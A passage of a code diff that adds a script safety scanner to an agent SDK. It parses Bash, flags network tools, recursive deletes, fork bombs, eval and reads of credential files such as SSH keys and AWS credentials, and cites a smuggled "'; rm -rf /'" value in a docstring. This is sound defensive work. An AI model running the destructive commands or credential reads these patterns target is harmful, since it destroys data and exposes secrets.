__slots__ = ("text", "line", "col", "was_quoted") + + def __init__(self, text: str, *, line: int, col: int, + was_quoted: bool = False) -> None: + self.text = text + self.line = line + self.col = col + self.was_quoted = was_quoted + + def __repr__(self) -> str: # pragma: no cover - debug helper + return f"Token({self.text!r}@{self.line}:{self.col})" + + +class _BashLexer: + """Split a script into (separator, [tokens]) command groups. + + The lexer preserves quote state so that ``'; rm -rf /'`` stays inside + a quoted argument and is not mistaken for a separator. + """ + + def __init__(self, source: str) -> None: + self.source = source + self.position = 0 + self.line = 1 + self.col = 1 + + def tokenize(self) -> tuple[list[tuple[str, int, int, list[_Token]]], + list[ParseErrorFact]]: + """Return (commands, errors). + + Each command is a tuple of ``(separator_preceding, line, col, + tokens)``. The separator helps callers know whether the command + was chained by ``&&``, ``|``, etc. + """ + + commands: list[tuple[str, int, int, list[_Token]]] = [] + errors: list[ParseErrorFact] = [] + current: list[_Token] = [] + current_op = "" + current_line = 1 + current_col = 1 + started = False + + while self.position < len(self.source): + ch = self.source[self.position] + if ch == "#": + # Comment to end of line. A leading '#' outside quotes is + # always a comment in shell grammar. + while self.position < len(self.source) \ + and self.source[self.position] != "\n": + self._advance() + continue + if ch == "\n": + self._advance() + if current: + commands.append((current_op, current_line, current_col, + current)) + current = [] + current_op = "\n" + current_line = self.line + current_col = self.col + started = False + continue + if ch in " \t": + self._advance() + continue + # Check for separator (but only when not quoted) + for sep in ("&&", "||", "|", ";", "&"): + if self.source.startswith(sep, self.position): + if current: + commands.append((current_op, current_line, + current_col, current)) + current = [] + for _ in sep: + self._advance() + current_op = sep + current_line = self.line + current_col = self.col + started = False + break + else: + # Read a token + if not started: + current_line = self.line + current_col = self.col + started = True + token_text, quoted, err = self._read_token() + if err: + errors.append(err) + if token_text: + current.append(_Token(token_text, line=self.line, + col=self.col, was_quoted=quoted)) + continue + if current: + commands.append((current_op, current_line, current_col, current)) + return commands, errors + + def _advance(self) -> None: + ch = self.source[self.position] + self.position += 1 + if ch == "\n": + self.line += 1 + self.col = 1 + else: + self.col += 1 + + def _read_token(self) -> tuple[str, bool, ParseErrorFact | None]: + """Read one shell token. + + Returns (text, was_quoted, error). Sets ``was_quoted`` to True if + the token had any quote/backtick layer; this lets callers skip + separator detection inside already-consumed text. + """ + + buf: list[str] = [] + quoted = False + quote_char = "" + err: ParseErrorFact | None = None + start_line = self.line + start_col = self.col + while self.position < len(self.source): + ch = self.source[self.position] + if not quote_char: + if ch in " \t\n": + break + if ch in ("&", "|", ";"): + break + if ch in ("'", '"', "`"): + quote_char = ch + quoted = True + self._advance() + continue + if ch == "\\": + self._advance() + if self.position < len(self.source): + nxt = self.source[self.position] + buf.append(nxt) + self._advance() + continue + if ch == "$" and self.position + 1 < len(self.source) \ + and self.source[self.position + 1] == "(": + # $( ... ) command substitution + quoted = True + buf.append("$(") + self._advance() + self._advance() + depth = 1 + while self.position < len(self.source) and depth > 0: + cur = self.source[self.position] + if cur == "(": + depth += 1 + elif cur == ")": + depth -= 1 + buf.append(cur) + self._advance() + continue + buf.append(ch) + self._advance() + else: + if ch == quote_char: + quote_char = "" + self._advance() + continue + if quote_char == "'" or quote_char == "`": + buf.append(ch) + self._advance() + else: + if ch == "\\" and self.position + 1 < len(self.source): + nxt = self.source[self.position + 1] + buf.append(nxt) + self._advance() + self._advance() + continue + buf.append(ch) + self._advance() + if quote_char: + err = ParseErrorFact( + snippet=f"unbalanced {quote_char}", + loc=Loc(line=start_line, column=start_col), + message=f"unbalanced quote {quote_char!r}", + ) + return ("".join(buf), quoted, err) + + +# --------------------------------------------------------------------------- # +# Scanner +# --------------------------------------------------------------------------- # + +class _BashScanner: + def __init__(self, source: str) -> None: + self.source = source + self.lexer = _BashLexer(source) + # Accumulators + self.file_deletes: list[FileDeleteFact] = [] + self.file_writes: list[FileWriteFact] = [] + self.file_reads: list[FileReadFact] = [] + self.network_calls: list[NetworkFact] = [] + self.process_calls: list[ProcessFact] = [] + self.shell_operators: list[ShellOperatorFact] = [] + self.privilege_commands: list[PrivilegeFact] = [] + self.dependency_installs: list[DependencyInstallFact] = [] + self.unbounded_loops: list[UnboundedLoopFact] = [] + self.fork_bombs: list[ForkBombFact] = [] + self.long_sleeps: list[LongSleepFact] = [] + self.concurrency: list[ConcurrencyFact] = [] + self.large_writes: list[LargeWriteFact] = [] + self.secret_flows: list[SecretFlowFact] = [] + self.dynamic_execs: list[DynamicExecFact] = [] + + def scan(self) -> ScriptFacts: + commands, errors = self.lexer.tokenize() + # Fork-bomb detection runs over the whole source. + for match in _FORK_BOMB_RE.finditer(self.source): + self.fork_bombs.append(ForkBombFact( + snippet=match.group(0), + loc=Loc(line=_line_of(self.source, match.start()), + column=_col_of(self.source, match.start())), + pattern="classic_bomb", + )) + for match in _WHILE_TRUE_RE.finditer(self.source): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=match.group(0), + loc=Loc(line=_line_of(self.source, match.start()), + column=_col_of(self.source, match.start())), + kind="while-true", + )) + for match in _FOR_INF_RE.finditer(self.source): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=match.group(0), + loc=Loc(line=_line_of(self.source, match.start()), + column=_col_of(self.source, match.start())), + kind="for-infinite", + )) + for match in _SLEEP_RE.finditer(self.source): + raw = match.group(1) + duration = _parse_sleep(raw) + self.long_sleeps.append(LongSleepFact( + snippet=match.group(0), + loc=Loc(line=_line_of(self.source, match.start()), + column=_col_of(self.source, match.start())), + duration_seconds=duration, + raw=raw, + )) + # Background count + bg_count = self.source.count("&") - self.source.count("&&") + # Heuristic: many & in script -> high concurrency + if bg_count >= 8: + self.concurrency.append(ConcurrencyFact( + snippet=f"<{bg_count} background jobs>", + loc=Loc(), + count=bg_count, + raw="background-jobs", + )) + + for op, line, col, tokens in commands: + if op in ("&&", "||", "|", "&"): + self.shell_operators.append(ShellOperatorFact( + snippet=op, + loc=Loc(line=line, column=col), + operator=op, + )) + if not tokens: + continue + self._handle_command(op, line, col, tokens) + + return ScriptFacts( + language=ScriptLanguage.BASH, + file_deletes=tuple(self.file_deletes), + file_writes=tuple(self.file_writes), + file_reads=tuple(self.file_reads), + network_calls=tuple(self.network_calls), + process_calls=tuple(self.process_calls), + shell_operators=tuple(self.shell_operators), + privilege_commands=tuple(self.privilege_commands), + dependency_installs=tuple(self.dependency_installs), + unbounded_loops=tuple(self.unbounded_loops), + fork_bombs=tuple(self.fork_bombs), + long_sleeps=tuple(self.long_sleeps), + concurrency=tuple(self.concurrency), + large_writes=tuple(self.large_writes), + secret_flows=tuple(self.secret_flows), + dynamic_execs=tuple(self.dynamic_execs), + parse_errors=tuple(errors), + ) + + # ----- per-command ----- # + + def _handle_command(self, preceding_op: str, line: int, col: int, + tokens: list[_Token]) -> None: + executable = tokens[0].text + argv = [t.text for t in tokens[1:]] + snippet = self._segment_for(line, col) + loc = Loc(line=line, column=col) + + # Strip leading env var assignments (FOO=bar cmd ...) + while "=" in executable and not executable.startswith("-"): + if not _looks_like_env_assignment(executable): + break + if len(tokens) < 2: + return + tokens = tokens[1:] + executable = tokens[0].text + argv = [t.text for t in tokens[1:]] + + exec_lower = executable.lower() + + # Privilege + if exec_lower in _PRIVILEGE_COMMANDS: + self.privilege_commands.append(PrivilegeFact( + snippet=snippet, loc=loc, command=exec_lower, + )) + if tokens[1:]: + executable = tokens[1].text + exec_lower = executable.lower() + argv = [t.text for t in tokens[2:]] + + # rm with -rf/-fr + if exec_lower == "rm": + self._handle_rm(argv, snippet, loc) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=False, + )) + return + + # curl/wget/nc/ssh + if exec_lower in _NETWORK_COMMANDS: + self._handle_network(argv, exec_lower, snippet, loc) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # File reads + if exec_lower in _FILE_READ_COMMANDS: + self._handle_file_read(argv, exec_lower, snippet, loc) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # File writes + if exec_lower in _FILE_WRITE_COMMANDS: + self._handle_file_write(argv, exec_lower, snippet, loc) + + # Package managers + if exec_lower in _PACKAGE_MANAGERS: + install_sub = _PACKAGE_MANAGERS[exec_lower] + if argv and argv[0] in install_sub: + self.dependency_installs.append(DependencyInstallFact( + snippet=snippet, loc=loc, manager=exec_lower, + command=" ".join([executable] + argv), + )) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # These constructs make a second program or command stream execute + # outside the script currently being scanned. Do not claim that the + # outer command is safe merely because its executable is allowlisted. + if exec_lower in {"source", "."}: + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind="source-file", + )) + return + if exec_lower == "xargs": + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind="xargs-command-stream", + )) + return + if exec_lower == "find" and any( + arg in {"-exec", "-execdir", "-ok", "-okdir"} + for arg in argv): + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind="find-exec", + )) + return + + # eval / bash -c / sh -c + if exec_lower == "eval": + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind="eval", + )) + return + if exec_lower in ("bash", "sh", "zsh") and argv and argv[0] == "-c": + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind=f"{exec_lower}-c", + )) + if len(argv) > 1: + self.shell_operators.append(ShellOperatorFact( + snippet=argv[1][:40], + loc=loc, + operator=f"{exec_lower} -c", + )) + return + if _is_python_pip_install(exec_lower, argv): + self.dependency_installs.append(DependencyInstallFact( + snippet=snippet, + loc=loc, + manager=argv[1], + command=" ".join([executable] + argv), + )) + self.process_calls.append(ProcessFact( + snippet=snippet, + loc=loc, + command=executable, + shell=None, + has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + if exec_lower in _INTERPRETERS and _interpreter_runs_payload(argv): + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, + loc=loc, + kind=f"{exec_lower}-payload", + )) + return + + # sleep + if exec_lower == "sleep": + raw = argv[0] if argv else "" + duration = _parse_sleep(raw) + self.long_sleeps.append(LongSleepFact( + snippet=snippet, loc=loc, + duration_seconds=duration, raw=raw, + )) + return + + # dd/fallocate large writes + if exec_lower in {"dd", "fallocate", "truncate"}: + size = _extract_dd_size(argv) + target = _extract_dd_target(argv) + self.large_writes.append(LargeWriteFact( + snippet=snippet, loc=loc, size=size, + target=target, raw=executable, + )) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # echo / printf with secret env reference + if exec_lower in {"echo", "printf"}: + for arg in argv: + if _looks_like_secret_ref(arg): + self.secret_flows.append(SecretFlowFact( + snippet=snippet, loc=loc, + source=arg, sink=exec_lower, + sink_kind="output", + )) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # Generic process call + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + + # Check for URL in any argument (catch-all for http(s)://) + for arg in argv: + for match in _URL_RE.finditer(arg): + host = match.group(1) + self.network_calls.append(NetworkFact( + snippet=snippet, loc=loc, + target=host, library=exec_lower, + dynamic=False, + )) + + # Check for redirects in raw tokens (>> target, > target) + for token in tokens: + if token.text in (">", ">>") or token.text.startswith(">"): + continue + # Inspect source line for redirection targets + for match in _REDIRECTION_RE.finditer(self._source_line(line)): + target = match.group(1).strip() + if target and not target.startswith("&"): + self.file_writes.append(FileWriteFact( + snippet=snippet, loc=loc, target=target, mode="w", + explicit=True, + )) + + def _handle_rm(self, argv: list[str], snippet: str, loc: Loc) -> None: + recursive = False + explicit_target = "" + for arg in argv: + if arg in ("-r", "-R", "--recursive", "-rf", "-fr", "-Rf", + "-rF", "-rfv", "-frv"): + recursive = True + continue + if arg.startswith("-"): + continue + explicit_target = arg + self.file_deletes.append(FileDeleteFact( + snippet=snippet, loc=loc, + target=explicit_target or "", + recursive=recursive, + explicit=bool(explicit_target), + )) + + def _handle_network(self, argv: list[str], command: str, + snippet: str, loc: Loc) -> None: + for arg in argv: + if arg.startswith("-"): + continue + match = _URL_RE.match(arg) if "://" in arg else None + if match: + host = match.group(1) + self.network_calls.append(NetworkFact( + snippet=snippet, loc=loc, + target=host, library=command, + dynamic=False, + )) + return + # Plain hostname argument (curl example.com) + if _looks_like_host(arg): + self.network_calls.append(NetworkFact( + snippet=snippet, loc=loc, + target=arg.lower(), library=command, + dynamic=False, + )) + return + # Dynamic + if arg.startswith("$") or "$(" in arg or "`" in arg: + self.network_calls.append(NetworkFact( + snippet=snippet, loc=loc, + target="", library=command, + dynamic=True, + )) + return + + def _handle_file_read(self, argv: list[str], command: str, + snippet: str, loc: Loc) -> None: + for arg in argv: + if arg.startswith("-"): + continue + kind = "regular" + lowered = arg.lower() + if ".ssh" in lowered or "id_rsa" in lowered \ + or "id_ecdsa" in lowered or "id_ed25519" in lowered \ + or "credentials" in lowered or ".netrc" in lowered \ + or "kubeconfig" in lowered or ".aws/credentials" in lowered \ + or lowered.endswith(".pem") or lowered.endswith(".key") \ + or lowered.endswith(".p12"): + kind = "credential" + if lowered.endswith(".env") or ".env" in lowered: + kind = "dotenv" + if kind != "regular": + self.file_reads.append(FileReadFact( + snippet=snippet, loc=loc, + target=arg, kind=kind, explicit=True, + )) + + def _handle_file_write(self, argv: list[str], command: str, + snippet: str, loc: Loc) -> None: + # tee / dd / cp / mv / install + targets: list[str] = [] + if command == "tee": + for arg in argv: + if arg.startswith("-"): + continue + targets.append(arg) + elif command in {"cp", "mv", "install"}: + if len(argv) >= 2: + targets.append(argv[-1]) + elif command == "dd": + target = _extract_dd_target(argv) + if target: + targets.append(target) + for target in targets: + self.file_writes.append(FileWriteFact( + snippet=snippet, loc=loc, + target=target, mode="w", explicit=True, + )) + + def _segment_for(self, line: int, col: int) -> str: + # Cheap approximation: return the source line. + return self._source_line(line) + + def _source_line(self, line: int) -> str: + if line <= 0: + return "" + try: + return self.source.splitlines()[line - 1] + except IndexError: + return "" + + +# --------------------------------------------------------------------------- # +# Helpers +# --------------------------------------------------------------------------- # + +def _line_of(source: str, offset: int) -> int: + return source.count("\n", 0, offset) + 1 + + +def _col_of(source: str, offset: int) -> int: + last_nl = source.rfind("\n", 0, offset) + return offset - last_nl + + +def _parse_sleep(raw: str) -> float | None: + if not raw: + return None + if raw.isdigit(): + return float(raw) + mult = {"s": 1, "m": 60, "h": 3600, "d": 86400} + if len(raw) >= 2 and raw[-1].lower() in mult and raw[:-1].isdigit(): + return float(raw[:-1]) * mult[raw[-1].lower()] + return None + + +def _is_python_pip_install(executable: str, argv: list[str]) -> bool: + if executable not in {"python", "python2", "python3"}: + return False + try: + module_index = argv.index("-m") + except ValueError: + return False + return module_index + 2 < len(argv) \ + and argv[module_index + 1] in {"pip", "pip3"} \ + and argv[module_index + 2] == "install" + + +def _interpreter_runs_payload(argv: list[str]) -> bool: + """Return whether an interpreter is being asked to run external code.""" + + for arg in argv: + if arg in {"-c", "-m"}: + return True + if arg.startswith("-"): + continue + return True + return False + + +def _extract_dd_size(argv: list[str]) -> int | None: + for arg in argv: + if arg.startswith("bs=") or arg.startswith("count="): + continue + # bs=SIZE count=N + bs: int | None = None + count: int | None = None + for arg in argv: + if arg.startswith("bs="): + bs = _parse_dd_size_value(arg[3:]) + elif arg.startswith("count="): + try: + count = int(arg[6:]) + except ValueError: + count = None + if bs is not None and count is not None: + return bs * count + return None + + +def _parse_dd_size_value(text: str) -> int | None: + text = text.strip() + if text.isdigit(): + return int(text) + mult = {"c": 1, "w": 2, "b": 512, "kB": 1000, "K": 1024, + "MB": 1000 * 1000, "M": 1024 * 1024, + "GB": 10**9, "G": 1024 * 1024 * 1024} + for suffix, value in mult.items(): + if text.endswith(suffix): + head = text[:-len(suffix)] + if head.isdigit(): + return int(head) * value + return None + + +def _extract_dd_target(argv: list[str]) -> str: + for arg in argv: + if arg.startswith("of="): + return arg[3:] + return "" + + +def _looks_like_env_assignment(text: str) -> bool: + if "=" not in text: + return False + name = text.split("=", 1)[0] + return bool(name) and name.replace("_", "").isalnum() and \ + not name.startswith("-") and not name.startswith("(") + + +def _looks_like_host(text: str) -> bool: + if not text: + return False + if text.startswith("-"): + return False + return bool(re.match(r"^[A-Za-z0-9_.-]+(?:\.[A-Za-z0-9_.-]+)+$", text)) + + +def _looks_like_secret_ref(text: str) -> bool: + return bool(re.search(r"\$\{?[A-Za-z_][A-Za-z0-9_]*" + r"(KEY|TOKEN|PASSWORD|SECRET|CREDENTIAL)", + text, re.IGNORECASE)) + + +# --------------------------------------------------------------------------- # +# Rule +# --------------------------------------------------------------------------- # + +class BashScannerRule(_LanguageScannerRule, SafetyRule): + """Rule that runs the Bash scanner once and evaluates the catalog.""" + + rule_id = "bash_scanner" + + def __init__(self) -> None: + super().__init__(ScriptLanguage.BASH) + + def _extract(self, request) -> ScriptFacts: # type: ignore[override] + return _BashScanner(request.script).scan() + + +def scan_bash(source: str) -> ScriptFacts: + """Public entry for tests that want raw facts.""" + + return _BashScanner(source).scan() diff --git a/trpc_agent_sdk/tools/safety/_cross_field_scanner.py b/trpc_agent_sdk/tools/safety/_cross_field_scanner.py new file mode 100644 index 00000000..68deb0b2 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_cross_field_scanner.py @@ -0,0 +1,254 @@ +"""Cross-field scanner that correlates request fields. + +Looks at argv, cwd, env, timeout, output budget, and tool metadata +together. These checks do not depend on the script body and therefore +run for every request regardless of language. +""" + +from __future__ import annotations + +import os +from typing import Iterable + +from trpc_agent_sdk.tools.safety._facts import Loc +from trpc_agent_sdk.tools.safety._models import ( + Evidence, + RiskCategory, + RiskLevel, + SafetyDecision, + SafetyFinding, + SafetyScanRequest, + ScriptLanguage, +) +from trpc_agent_sdk.tools.safety._policy import ( + ToolSafetyPolicy, + match_path_glob, + normalize_script_path_for_match, +) +from trpc_agent_sdk.tools.safety._redaction import Redactor +from trpc_agent_sdk.tools.safety._rules import ( + SafetyRule, + _default_unknown, + _finding, + resolve_decision, +) + + +_CWD_RULE_ID = "FILE002_DENIED_WRITE" +_TIMEOUT_RULE_ID = "RES003_LONG_SLEEP" +_ARGV_RULE_ID = "PROC001_PROCESS_EXEC" +_TOOL_MAPPING_RULE_ID = "PARSE001_UNCERTAIN" + + +class CrossFieldScannerRule(SafetyRule): + """Runs the cross-field catalog against request fields.""" + + rule_id = "cross_field_scanner" + + def scan( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + ) -> Iterable[SafetyFinding]: + redactor = Redactor(env_values=request.env.values()) + findings: list[SafetyFinding] = [] + findings.extend(self._check_cwd(request, policy, redactor)) + findings.extend(self._check_timeout(request, policy, redactor)) + findings.extend(self._check_argv(request, policy, redactor)) + findings.extend(self._check_tool_mapping(request, policy, redactor)) + findings.extend(self._check_output_budget(request, policy, redactor)) + return findings + + # ----- checks ----- # + + def _check_cwd( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + if not request.cwd: + return [] + normalized = normalize_script_path_for_match(request.cwd) + # Detect escaping paths (../../etc) + if ".." in request.cwd.replace("\\", "/").split("/"): + decision = resolve_decision( + _CWD_RULE_ID, SafetyDecision.DENY, policy) + return [_finding( + rule_id=_CWD_RULE_ID, + category=RiskCategory.FILE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=f"cwd={request.cwd}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="cwd attempts to escape via '..'.", + extras={"cwd": ""}, + )] + for pattern in policy.paths.deny: + if match_path_glob(normalized, pattern): + decision = resolve_decision( + _CWD_RULE_ID, SafetyDecision.DENY, policy) + return [_finding( + rule_id=_CWD_RULE_ID, + category=RiskCategory.FILE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=f"cwd={request.cwd}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="cwd is on the denied path list.", + extras={"matched_pattern": pattern}, + )] + return [] + + def _check_timeout( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + if request.requested_timeout_seconds is None: + return [] + limit = policy.limits.max_timeout_seconds + if request.requested_timeout_seconds > limit: + decision = resolve_decision( + _TIMEOUT_RULE_ID, SafetyDecision.DENY, policy) + return [_finding( + rule_id=_TIMEOUT_RULE_ID, + category=RiskCategory.RESOURCE, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=f"timeout={request.requested_timeout_seconds}s", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="Requested timeout exceeds policy limit.", + extras={"limit_seconds": str(limit)}, + )] + return [] + + def _check_argv( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + if not request.argv: + return [] + findings: list[SafetyFinding] = [] + deny = policy.commands.deny + allow = policy.commands.allow + for idx, arg in enumerate(request.argv): + token = arg.strip().split()[0].lower() if arg.strip() else "" + if not token: + continue + if token in deny: + decision = resolve_decision( + _ARGV_RULE_ID, SafetyDecision.DENY, policy) + findings.append(_finding( + rule_id=_ARGV_RULE_ID, + category=RiskCategory.PROCESS, + risk=RiskLevel.HIGH, + decision=decision, + snippet=f"argv[{idx}]={token}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="argv references a denied executable.", + extras={"index": str(idx), "executable": token}, + )) + continue + if allow and token not in allow and _looks_like_executable(arg): + decision = resolve_decision( + _ARGV_RULE_ID, + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + findings.append(_finding( + rule_id=_ARGV_RULE_ID, + category=RiskCategory.PROCESS, + risk=RiskLevel.LOW, + decision=decision, + snippet=f"argv[{idx}]={token}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="argv contains an executable not on the allow list.", + extras={"index": str(idx), "executable": token}, + )) + return findings + + def _check_tool_mapping( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + flag = request.metadata.get("execution_capable") + is_exec_capable = flag in (True, "true", "True", 1) + if not is_exec_capable: + return [] + adapter_id = request.metadata.get("adapter_id") + if adapter_id and adapter_id in policy.tools: + return [] + # Built-in adapters are vetted by the tool_adapter module; the + # cross-field check only fires for unknown execution-capable tools. + from trpc_agent_sdk.tools.safety._tool_adapter import _BUILTIN_DEFAULTS + if adapter_id and adapter_id in _BUILTIN_DEFAULTS: + return [] + decision = resolve_decision( + _TOOL_MAPPING_RULE_ID, + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + return [] + return [_finding( + rule_id=_TOOL_MAPPING_RULE_ID, + category=RiskCategory.ANALYSIS, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet="tool marked execution_capable without adapter mapping", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="Declare a tool adapter mapping in policy.tools or disable execution.", + extras={"tool_name": request.tool_name, + "tool_kind": request.tool_kind.value}, + )] + + def _check_output_budget( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + if request.requested_output_bytes is None: + return [] + limit = policy.limits.max_output_bytes + if request.requested_output_bytes > limit: + decision = resolve_decision( + "RES005_LARGE_WRITE", SafetyDecision.DENY, policy) + return [_finding( + rule_id="RES005_LARGE_WRITE", + category=RiskCategory.RESOURCE, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=f"requested_output={request.requested_output_bytes}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="Requested output exceeds policy max_output_bytes.", + extras={"limit_bytes": str(limit)}, + )] + return [] + + +def _looks_like_executable(text: str) -> bool: + """Heuristic: looks like a command name (not a path or option).""" + + if not text: + return False + if text.startswith("-"): + return False + if "/" in text or "\\" in text: + return False + return all(ch.isalnum() or ch in "_-." for ch in text) diff --git a/trpc_agent_sdk/tools/safety/_exceptions.py b/trpc_agent_sdk/tools/safety/_exceptions.py new file mode 100644 index 00000000..aae65374 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_exceptions.py @@ -0,0 +1,43 @@ +"""Typed exceptions for the safety guard. + +Each error class covers a distinct failure mode so execution adapters can +decide whether to fail closed (deny) or surface the underlying problem. +""" + +from __future__ import annotations + + +class SafetyGuardError(Exception): + """Base type for all safety guard errors.""" + + +class SafetyPolicyError(SafetyGuardError): + """Raised when a policy file is malformed, unknown, or inconsistent. + + Construction-time failure: the guard must not start with an unsafe or + ambiguous policy. + """ + + +class SafetyScannerError(SafetyGuardError): + """Raised when a scanner encounters an internal defect. + + Production execution adapters convert this into a ``deny/critical`` + decision so the path fails closed without leaking request content. + """ + + +class SafetyAuditError(SafetyGuardError): + """Raised by an :class:`AuditSink` when it cannot persist an event. + + When ``audit.required`` is true the surrounding adapter treats this as + a fail-closed signal. + """ + + +class ToolRequestError(SafetyGuardError): + """Raised when a tool adapter cannot build a scan request from inputs. + + Examples: missing script field, declared execution-capable tool without + a usable field mapping, or non-stringifiable argument values. + """ diff --git a/trpc_agent_sdk/tools/safety/_facts.py b/trpc_agent_sdk/tools/safety/_facts.py new file mode 100644 index 00000000..50b5b2a9 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_facts.py @@ -0,0 +1,206 @@ +"""Internal fact model produced by language scanners. + +Facts are the shared vocabulary between scanners and rules. Scanners +extract them once per script; rules consume them without re-parsing the +source. This keeps the 500-line performance budget intact. + +Facts are intentionally permissive about ``None``: when a scanner cannot +determine a value statically (for example, a sleep duration computed at +runtime) it leaves the field ``None`` and rules convert the uncertainty +into ``needs_human_review``. +""" + +from __future__ import annotations + +from dataclasses import dataclass, field +from typing import Literal + +from trpc_agent_sdk.tools.safety._models import ScriptLanguage + + +@dataclass(frozen=True) +class Loc: + """Source location (1-based line and column).""" + + line: int = 0 + column: int = 0 + + def label(self) -> str: + if self.line <= 0: + return "" + if self.column <= 0: + return f"L{self.line}" + return f"L{self.line}:C{self.column}" + + +@dataclass(frozen=True) +class Fact: + """Base fact. Carries a snippet and a source location.""" + + snippet: str = "" + loc: Loc = field(default_factory=Loc) + + +@dataclass(frozen=True) +class FileDeleteFact(Fact): + target: str = "" + recursive: bool = False + explicit: bool = True # False when target computed at runtime + + +@dataclass(frozen=True) +class FileWriteFact(Fact): + target: str = "" + mode: str = "w" + explicit: bool = True + + +@dataclass(frozen=True) +class FileReadFact(Fact): + target: str = "" + kind: Literal["credential", "dotenv", "regular"] = "regular" + explicit: bool = True + + +@dataclass(frozen=True) +class NetworkFact(Fact): + target: str = "" + library: str = "" + dynamic: bool = False + + +@dataclass(frozen=True) +class ProcessFact(Fact): + command: str = "" + shell: bool | None = None + has_operators: bool = False + + +@dataclass(frozen=True) +class ShellOperatorFact(Fact): + operator: str = "" + + +@dataclass(frozen=True) +class PrivilegeFact(Fact): + command: str = "" + + +@dataclass(frozen=True) +class DependencyInstallFact(Fact): + manager: str = "" + command: str = "" + + +@dataclass(frozen=True) +class UnboundedLoopFact(Fact): + kind: str = "" + + +@dataclass(frozen=True) +class ForkBombFact(Fact): + pattern: str = "" + + +@dataclass(frozen=True) +class LongSleepFact(Fact): + duration_seconds: float | None = None + raw: str = "" + + +@dataclass(frozen=True) +class ConcurrencyFact(Fact): + count: int | None = None + raw: str = "" + + +@dataclass(frozen=True) +class LargeWriteFact(Fact): + size: int | None = None + target: str = "" + raw: str = "" + + +@dataclass(frozen=True) +class SecretFlowFact(Fact): + """Source-to-sink flow of a secret-looking value.""" + + source: str = "" + sink: str = "" + sink_kind: Literal["output", "file", "network", "subprocess", + "unknown"] = "unknown" + + +@dataclass(frozen=True) +class DynamicExecFact(Fact): + kind: str = "" # eval, exec, importlib, getattr, base64-decode-then-exec + + +@dataclass(frozen=True) +class ParseErrorFact(Fact): + message: str = "" + + +@dataclass(frozen=True) +class ScriptFacts: + """Aggregated facts for one script. + + Lists are deliberately tuples so the structure is immutable and cheap + to copy. + """ + + language: ScriptLanguage = ScriptLanguage.UNKNOWN + file_deletes: tuple[FileDeleteFact, ...] = () + file_writes: tuple[FileWriteFact, ...] = () + file_reads: tuple[FileReadFact, ...] = () + network_calls: tuple[NetworkFact, ...] = () + process_calls: tuple[ProcessFact, ...] = () + shell_operators: tuple[ShellOperatorFact, ...] = () + privilege_commands: tuple[PrivilegeFact, ...] = () + dependency_installs: tuple[DependencyInstallFact, ...] = () + unbounded_loops: tuple[UnboundedLoopFact, ...] = () + fork_bombs: tuple[ForkBombFact, ...] = () + long_sleeps: tuple[LongSleepFact, ...] = () + concurrency: tuple[ConcurrencyFact, ...] = () + large_writes: tuple[LargeWriteFact, ...] = () + secret_flows: tuple[SecretFlowFact, ...] = () + dynamic_execs: tuple[DynamicExecFact, ...] = () + parse_errors: tuple[ParseErrorFact, ...] = () + + def merge(self, other: ScriptFacts) -> ScriptFacts: + """Merge another fact bag into a new one (immutable).""" + + def _merge(left: tuple, right: tuple) -> tuple: + return tuple(list(left) + list(right)) + + return ScriptFacts( + language=self.language if self.language != ScriptLanguage.UNKNOWN else other.language, + file_deletes=_merge(self.file_deletes, other.file_deletes), + file_writes=_merge(self.file_writes, other.file_writes), + file_reads=_merge(self.file_reads, other.file_reads), + network_calls=_merge(self.network_calls, other.network_calls), + process_calls=_merge(self.process_calls, other.process_calls), + 